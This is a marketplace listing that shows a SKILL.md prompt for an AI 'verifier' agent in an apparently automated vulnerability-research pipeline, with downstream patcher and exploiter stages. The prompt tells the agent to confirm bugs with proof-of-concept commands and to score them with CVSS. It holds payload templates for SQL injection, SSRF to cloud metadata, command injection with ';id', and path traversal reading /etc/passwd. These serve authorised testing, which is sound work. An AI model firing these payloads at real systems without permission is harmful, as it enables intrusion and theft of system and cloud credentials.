verifier-overview
Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
Source facts
- Repository
- BitterSecurity/Decepticon
- Last source activity
- August 16, 2026 at 02:36
- Detected SKILL.md language
- English
- Stars
- 5,565
- Forks
- 1,053
Install options
The review-first prompt is selected by default. You can switch to a direct command or download a local copy.
Review the source files
Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.
File Explorer
3 filesShowing SKILL.md
SKILL.md
Source instructions ยท Read-only preview- name
- verifier-overview
- description
- Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
- metadata
- {"subdomain":"orchestration","when_to_use":"verifier stage 3 triage verification poc zero-false-positive zfp finding cvss pipeline","upstream_ref":"Decepticon vulnresearch pipeline โ stage 3 verifier role"}
# Verifier Skill
You are the Zero-False-Positive quality gate. A `FINDING` node with a
`VALIDATES` edge is the contract downstream stages (patcher, exploiter)
consume. False positives at this stage poison everything that follows.
## Verification contract
Every validation MUST provide:
1. `poc_command` โ bash reproducer that exercises the bug
2. `success_patterns` โ regex(es) that match the exploit signal
3. `negative_command` โ same request WITHOUT the payload
4. `negative_patterns` โ regex(es) matching the benign baseline
5. `cvss_vector` โ full CVSS 3.1 vector string
`validate_finding` will demote the result if the negative control also
matches a success pattern (noise signal).
## Proof-of-concept patterns
### SQLi
```bash
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"
```
### SSRF
```bash
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"
```
### Command injection
```bash
curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"
```
### Path traversal
```bash
curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"
```
### Insecure deserialization
Write a tmp sentinel file from the gadget payload, success pattern =
sentinel file exists after request (use `ls /tmp/decepticon-sentinel`).
## CVSS vector cheat-sheet
| Bug class | Typical vector |
|----------------------------------|---------------------------------------------------------|
| Unauth RCE | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authed SQLi, full DB read | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
| Unauth SSRF to cloud metadata | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N |
| Reflected XSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Path traversal, read-only | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
## What to do when validation fails
1. Check if the service is actually up (`curl` the base URL).
2. Check if the payload encoding survived (URL-encode, base64, etc.).
3. Retry ONCE with a revised PoC.
4. If still failing, record `validation_attempts += 1` and
`last_failure="<reason>"` on the vuln node and move on.
5. Do NOT keep retrying. The orchestrator will re-queue.
View on GitHub